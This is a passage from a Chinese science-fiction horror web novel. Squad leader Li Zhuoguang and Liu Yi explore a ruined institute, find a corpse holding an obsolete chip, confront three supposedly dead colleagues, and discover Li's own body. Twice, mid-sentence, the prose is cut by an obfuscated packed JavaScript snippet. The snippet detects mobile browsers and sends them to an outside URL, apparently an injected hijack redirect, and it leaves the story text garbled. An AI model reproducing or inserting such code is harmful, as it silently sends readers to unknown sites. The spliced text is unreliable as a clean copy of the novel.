它抬着头,大大地张着嘴,青绿与橙黄色的植物挽留着摇摇欲坠的下颌骨,嘴中装满了扭曲的蛆虫,从脸颊颧骨与眼睛的缝隙中探出,感受到门被打开投来的光源,它们朝向光亮扭转方向,晃动脑袋。 芮礼说:“它体内没有芯片,不在晴山数据库内。” 有些蛆虫已经孵化成苍蝇,只留下一团坚硬泛黄的壳,随着那些苍蝇随光离开,骨架上重量失衡,摇摇晃晃许久,危险的连接点终于彻底断裂。 脆骨头与大块的蛆虫翻滚掉落,砸在地面上,骨头断裂,幼虫飞溅。 这时,柳一的声音响起:“他和我之前那个研究所的保安长得好像。” 李琢光:? 她扭过头,用不可置信的目光看着男人:“这脸都烂成这样了,你怎么看得出来?” 柳一视线定格在腐烂的尸体身上,不知道在回忆些什么:“那个研究所为了不泄露秘密,很多安保都是单独设立系统编程的仿生人,而且外貌都一样。” 当初营救行动李琢光全程参与,虽然她主要负责解救被困人员,但她围观过突破战线,对方的安保的确都是一模一样的脸。 “……我不知道。”柳一眼睫轻颤,面孔白得没有一丝血色,眉宇间痛苦地皱起,“我不知道,但我就是觉得他长得一样。” 好吧。 李琢光耸肩,踩着地上的碎骨头和蛆虫,直接上手扳过尸体的头骨。 尽管她努力放轻力气,但头骨已脆得难以想象,直接被她扣下几块碎片。 “仿生人应该没有骨头吧。” 虽然嘴上这么说,但是李琢光还是没有停下手里的动作。 柳一出生于实验室,由于实验,他被植入过太多莫名其妙的基因。也许别人说这话,李琢光只当胡扯,但柳一本身就是一个莫名其妙的集合体。 加上工作期间发现一具无法甄别身份的尸体,责任感也让她无法抛弃它一走了之。 她把虫子都用手扫到地上,仔细翻过尸体身上腐烂的肉,在位于大腿处的肉堆里,她瞥到一点反光。 李琢光找到反光点,发现那是一片芯片。 耳麦的频道卡了几下,芮礼的声音才清晰:“这是晴山的芯片,最初最老的版本。” “为什么刚刚没有检测到?” 那头传来各种乒乒乓乓操作器械的声音,芮礼沉默了好一会儿才说:“因为这张芯片已经被确认为死亡五百多年了。” 昙起云在旁边搭话:“这个版本是不是就是因为当初柳一那个研究所钻空子,用已死亡的芯片养仿生人,才发现那个标记死亡就检测不出的致命漏洞?” “是的。”芮礼答道,“而这一张的确在当初披露的名单中,我找到了。” “可是——”李琢光挑眉,“那些芯片都锁在总部的保险柜里,没有失窃。” 她拿着手里的芯片翻来覆去,最后打开腰带上的收纳匣放进去:“带回总部研究。” 她最后再翻了一遍尸体,确认没有其她残留的,从地上归出一捧血肉,装进收纳匣的真空格子里。 在屏幕前看着这一切的芮礼:“……” 观千剑捂着嘴咳嗽两声,昙起云默默把手里的薯片放下。 知道李琢光热爱工作,不知道她如此热爱工作,连素昧平生的陌生尸体都一定要为它找到归宿。 二人离开安保室,继续顺着脚印走。 在岔路口时,脚印左拐,她正想往左,却被一股相反的力道拉停脚步。 二人目光交汇,柳一额头渗出细密的汗珠,他解释道:“人在那边,二楼。” 尽管他不喜欢这里,也不喜欢陈戊,但他知道自己被带来的用处就是寻找那个讨人厌的家伙。 李琢光选择相信他,从右侧楼梯上了楼。 耳麦中,由于信号加强被关闭,芮礼的声音偶尔会吞掉几个字。 “左右两侧楼梯通往不互通的■层,左侧是土质净化,右侧是水质净化,只有顶层是■通的,负责电力供应。右侧二楼——” 芮礼的话说到一半,研究所外就传来一声轻微的爆炸。 “侦察机被击毁了。”她说,声线依旧平静,丝毫没有收到干扰,“右侧二楼主要是实验室,最里面的那间门开着。” 报告完,芮礼才遗憾地补充:“扫描内容只来得及传回这些。” 李琢光也没想让芮礼再输送一架侦察机。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14026458|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推测青苔城市中让晴山外勤团灭的异种并非青苔,而是城市本身。 若她推测正确,那么芮礼哪怕再派一辆侦察机过来,也许还没进城门就会被炸毁,可能还会连累芮礼的坐标暴露。 她与柳一很快走到开着门的实验室前,果不其然在其中看到了陈戊的身影。 只是实验室里竟不止有陈戊一人,还有三个背对着的类人,穿着的衣服是…… 晴山制服?! 李琢光瞳孔瞬缩,反复确认自己没有看错,包括芮礼的反应也佐证了这一点。 她挥挥手,柳一下身变换成十来根一人合抱不下的灰色章鱼触手,卷着扒着实验室的大门,将自己吊在空中,人工关门。 触手背后的吸盘全变成一只只眼睛,紧盯走廊。 她抬起枪,瞄准眼前这三个人,另一只手手心投影展示工作证:“晴山总部九三零清剿队长李琢光,你们是?” 她们在芯片信息暗淡后就被确定为已牺牲,现在站在这里的要么是怪物,要么是死物异种复制出来的伪人…… 但出乎李琢光的意料,她们互相之间对视片刻后,开始流利地用晴山语介绍自己。 “晴山总部八队清剿队员苗苏。” “晴山总部八队清剿队员罗。” “晴山六部四十七外勤队员孙多。” 陈戊慢慢转回身,他身边那三个身着晴山制服的类人也转回身,几张脸都熟悉得很。 李琢光回忆了一会儿,想起她是在那执行记录视频中见过这几张脸。 那两个团灭的队伍的确是六部四十七队和总部八队。 “我们查看过你们的任务执行记录,也仔细核对过你们的芯片信息。” 李琢光保持着距离不动,没有靠近。 “你们的芯片已经失效,所以被确认为已死亡。” 听着李琢光的话,她们也没有露出「原来如此」或是「终于得救了」的神情,那种看着凝滞而浓重如雾的忧思凝固在她们脸上。 自我介绍为罗的女人说:“是的,我们知道。” 女人金发碧眼,骨相锋利瘦削,却能说一口流利的晴山话:“是神明大人解救我们。” 李琢光:“……”啊? 她们甚至都没太关注当人工门锁的柳一,所有的视线都集中在李琢光脸上。 “李队……” 陈戊的表现更像身体控制权回到自己的手里,他声音颤抖,脸颊上的惨白蔓延到嘴唇。 他垂在身侧的手指紧了紧,想上前,但步子迈到一半,抬在空中的腿控制不住地颤抖,只好收回。 沉默许久的芮礼忽然开口:“检测到陈戊的数据了,李队,他现在心跳速率高达一百六,体温极低,快跌破三十五度。” 强装镇定的假象被戳破,冷汗一滴一滴从陈戊的额头上滑落,他扯起一个惨然的笑容。 李琢光端着枪缓缓靠近,无数想法在心头快速掠过,她试图甄别这几个人的意图。 是控制了陈戊寻求她的帮助? 不像……陈戊没有被绑住,她们站位松散,没有使用武器。 是地上布置了陷阱? 不是,芮礼没有提醒她。 几人面对武器不避不慌,反而随着她的靠近,慢慢让开一条道路,就好像她们非常期待李琢光过去。 李琢光左看看,右看看,看她们都没有攻击的欲望,再低头一看,才终于知道为什么包括陈戊在内的所有人都用这种奇怪的神色看着她。 地上躺着一具她的尸体。 18. 青苔城市(六) 芮礼悠悠道:“她体内确实有你的芯片,李队。 “不过给你提供一个你才是本体的依据,我这边的系统在此之前没有你碰到过陈戊并使他昏迷的记录。 “哈——当然。” 芮礼冷笑一声,像是在讨论今晚吃什么,说出的内容却如平地惊雷:“现在这条时间线不是本源时间线的可能性无法否认。 “既然你我都有可能是假的,还有什么纠结的必要呢?” 陈戊应该是真的陈戊,或者说,至少是李琢光队伍里原本的陈戊。 因为看他的表情,他也听到了芮礼说的话。 继队长为救他而死的悲恸、另一个队长出现的惊吓之后,我非本我的恐惧席卷而来。 而风暴中心的李琢光却一时之间不知道自己该有什么反应。 害怕、震惊? 她应该震惊,因为一般人亲眼看到自己的尸体早该疯了。 但她已经不是第一次看到了,所以表现出来的一切都很平静。 可她越若无其事,陈戊就更慌,他声音都变形走音,求救般无助地呜咽:“李队,我们……” 哦对,当时看到自己的尸体是在幻境里,所以陈戊无从得知她曾经经历过这一幕。 她于是瞪眼咋舌,语调毫无感情、平铺直叙:“天呐,是我的尸体。” 芮礼:“你没事吧?” 李琢光:“……咳,没事。” 眼前的陈戊开始瑟缩颤抖,整个人被莫大的惊骇笼罩,但他很快调整好姿态,挺直脊背,以一种一眼就能看穿的强装镇定说: “是不是你杀了她?” 李琢光看了他一眼,这一眼看得他差点绷不住姿态。 “当然不是,非要说的话,你们的嫌疑才更大吧?” 罗来回扫视对峙的二人:“我们一直躲在研究所里,听到二楼有枪响才下来,我们下来的时候这位同志和你的尸体就已经在了。” “——不过。”那位叫苗苏的少年双手抱胸,斜靠在实验桌上补充道,“当时这位同志还是昏迷状态,而且你的尸体还紧抓着他的手。 她指着陈戊:“这位同志醒过来以后,以为这个尸体是为了救他死的,所以趴在地上哭了半天,还想把我们都杀了。” 苗苏的笑容带着一丝对不自量力的嘲讽:“他真的很听话啊,要是我们队长之前有你这种水平,我早就为了保护她死掉了。” 她用刻薄的眼神上下打量李琢光一番:“还好你不是我的队长……我的队长也不是你。” 罗用手臂碰碰苗苏,对李琢光笑道:“不好意思啊,她年纪小,说话直,你别介意。” “总部八队的队长……”李琢光微微仰起头,似乎想到什么,她抬起眉毛,“我想起来了,你是不是挑战过我来着?” 她越说越觉得记忆和眼前人重合:“输了之后不服气还要再打,又输了,最后是八队队长过来打圆场,你——” 见苗苏的脸都绿了,李琢光这才停下,抱歉地笑着:“不好意思啊,年纪大了,可能记错了,你别介意。” 在晴山工作的三十年,她早就被不计其数的新生挑战过了,真要说对苗苏有什么印象,还真没有。 八队队长她倒是很熟。 她刚进入晴山那一年,到哪儿都碰壁,虽然成功拿下九三零的队长,但是没人愿意加入她的小队。 没人相信她一个普通人能在清剿有什么成就。 如果一个月过去她还是凑不齐三个人,队伍就要解散,她只能被并入其她小队。 那个时候,就是八队的队长站出来,给她引介了因打架得了个处分、还遭原队长剔除队伍的观千剑。 八队的队长悄悄告诉她,观千剑其实只是替罪羊,而李琢光地位毫无威胁,这个匹配对她们双方都有利。 所以她努力把观千剑拉入伙,后来自己找到陈戊,才堪堪在期限前保住了队伍。 八队的队长很温柔,作为朋友、被帮助者,李琢光很喜欢她的性格。 但作为队长,这就成了她致命的缺点。 想到这些,她就为那位队长的良苦用心都被浪费感到惋惜,忍不住再刺一句:“我确实不大记得你了,你也不是挑战我的人里有特色的。” 苗苏的呼吸粗重起来,要不是罗在旁边死命拉着她,她或许就要冲上来与李琢光打架了。 这时的李琢光却不再关注她,目光游离,开始思考。 在地质研究所中,有两个异种。 一是丁柠理智崩溃后的幻境异种,一是那会不断复制、进行攻击的死物异种。 她的尸体与四十多人一起被困在柜子的通道内侧。 但事实上,在之后的幻境里,她未曾在活人研究员身上见过任何一张与尸体对得上号的脸,那些人体内似乎也并没有植入晴山芯片。 所以那些人到底是谁还有待研究,是不是人都有待商榷。 幻境前摇中的滴水声代指椿好的秘密基地,柜子倒影中那拙劣模仿的伪人模仿的应当是椿好…… 因为椿好有一个差不多的发网。 整体幻境是友好的,因为那是丁柠创造出来的,除了失去理智后无差别攻击的她。 但丁柠同时也是让她当心芮礼的人。 现在,她的尸体出现在现实里,和被异种蛊惑的陈戊一起出现,而陈戊显然是脱离控制的状态,也不存在第二个陈戊。 如果说她的尸体抓住陈戊的手,可以理解成「她」在某个幻境中解救出被困的陈戊…… 难道这具尸体真是她自己?可是如果可以复制,为什么不复制陈戊呢? 异种中存在复制异种,但这类异种只能复制生命体以外的东西。 如果想复制生命体,那么复制出来的东西是如人模一般不会动、也不会说话的,更不可能复制芯片。 星际异种亿亿万,唯独没有一个与时间有关的异种,多种猜测中最被广泛接受的一种是—— 祖母谬论仍然存在。 同一个人无法在同一时空下同时存在两个。 当然,这种猜测目前无法证伪,也无法证实。 不过现在提到为什么有她没有陈戊,她能想到一个原因就是她体内不会分泌π+激素。 就像地质研究所里的幻境异种选择她,也是因为这个原因……吗? 随后,她又意识到一个问题。 每一份工作结束后,自己会在第一时间集结小队进行任务复盘。 但是这一次完全没有想起这回事。 而是在这一刻,才突然从任务中抽离出来,莫名其妙开始复盘。 她体内没有π+激素,也会被影响意识吗? ……会的。 她想起在地质研究所的幻境中时,她无法控制自己去想队友抛弃自己离开的悲观情景。 所以没有π+激素并非金身护符…… 既然能影响到她,那应该是辐射了。 辐射能影响到的部分应当极为有限,否则她是无法像当时那样只凭自己就发觉不对劲的。 无法想象如果她没有意识到这点,自大到认为她就是死物异种的唯一克星,将来要走多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14026459|148774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少弯路。 所以,她得重新审视死物异种变异后觉醒的智慧等级,以及控制这个局面的背后黑手。 “李队!”陈戊的呼喊拉回李琢光的思绪,“李队,我刚和你说的话你听到了吗?” 李琢光眨眨眼,回神道:“没有,抱歉,你再说一遍。” 实验室墙壁角落里夹杂的细细青苔条又开始往实验室中间聚集、倾斜,从老旧的墙壁里侧传出金属被挤压折叠的脆声。 听起来,整个研究所都在往一个点聚集。 陈戊背着「李琢光」的尸体,他的眼神又恢复那种空茫清澈的感觉,身边那三人也是准备离开的样子。 “我刚才说她们要回去祭祀了,我们是不是也该走了?” “祭祀?”李琢光嘴角勾起一丝微妙的笑意,缓缓摇头。 “抱歉,职责所在,我需要弄清你们到底是谁,以及你们在这里经历了什么,然后才能放你们走。” 芮礼很久没说话了,她对这三人的来历未置一词,不管是找到还是没找到。 李琢光特地检查信号连接,都是正常的,耳机里还能听到昙起云嚼薯片的声音。 而她现在偏偏不方便问。 “嘁……我早就知道这男的做不了李琢光的主。” 苗苏侧过头,在李琢光看不到的地方翻了个白眼,她唇瓣微张,话说得咬牙切齿,好像不想让李琢光听到,声音却没有压低半分。 “我们知道。”罗拍拍她的肩膀以示安慰,一脸严肃地点点头,“对了李琢光,你的异能等级是零级对吧?” 李琢光的手指悄悄蜷起,摸到手腕上的腕带枪,面不改色:“是我在问你。” 苗苏抬起手,直接将头盔摘下来。她甩甩头,黑褐色的长发散在脸边,随手扔开头盔,透明的半球体滚落到李琢光的脚边。 “你看,我们喜欢这里生活,芯片也死掉了,你没必要把我们带回去。 “你就当我们不再活着不行吗?” 李琢光感觉自己是个墨守成规的老顽固,一步不让:“抱歉,这是规定。” 罗与苗苏两两相望,一直沉默到现在的孙多站在不远处摆弄手套。 双方陷入僵持。 谁也不敢先动,仿佛先有动作的人就会被对方抓住弱点痛击,于是两边都只是盯着对方不动弹。 陈戊低着头,看不清脸上的神色,在被城市异种控制以后,他那低存在感的异能就失效了。 在场所有人都将注意力放在陈戊与他背后的尸体身上,像是什么很奇怪的共识,陈戊是维持平衡的一根杠杆。 芮礼突然发声:“查到了,她们曾就职于凤凰座θ-3709-1地质研究所。 “苗苏是十级异种,罗五级,孙多四级,她们都是幸存者。” 她因为过于激动而直接从位置上站起来,声音也微微放大:“她们已经——了!” “你说什么?中间的话全被吞了!” 同一时刻,对面三人同时发难。 孙多手里射出一束手指粗细的水流,而罗与苗苏手中闪烁着电光,水流裹挟着硕大的电球直冲李琢光面门而来。 “那我也要向你抱歉,我早就想试试——零级还能爬到这一步的人,到底有什么厉害之处,接招!” 只是一眨眼,苗苏的身影就闪现在李琢光面前,她嘴角夸张地咧开,伸出血红而泛着金属色泽的长舌,虹膜倏地缩小至蚂蚁那么大,一眼看去几乎以为她只剩眼白。 她手指间白雷瞬间炸开,一道明亮而刺眼的光线遮蔽住李琢光全部的视野。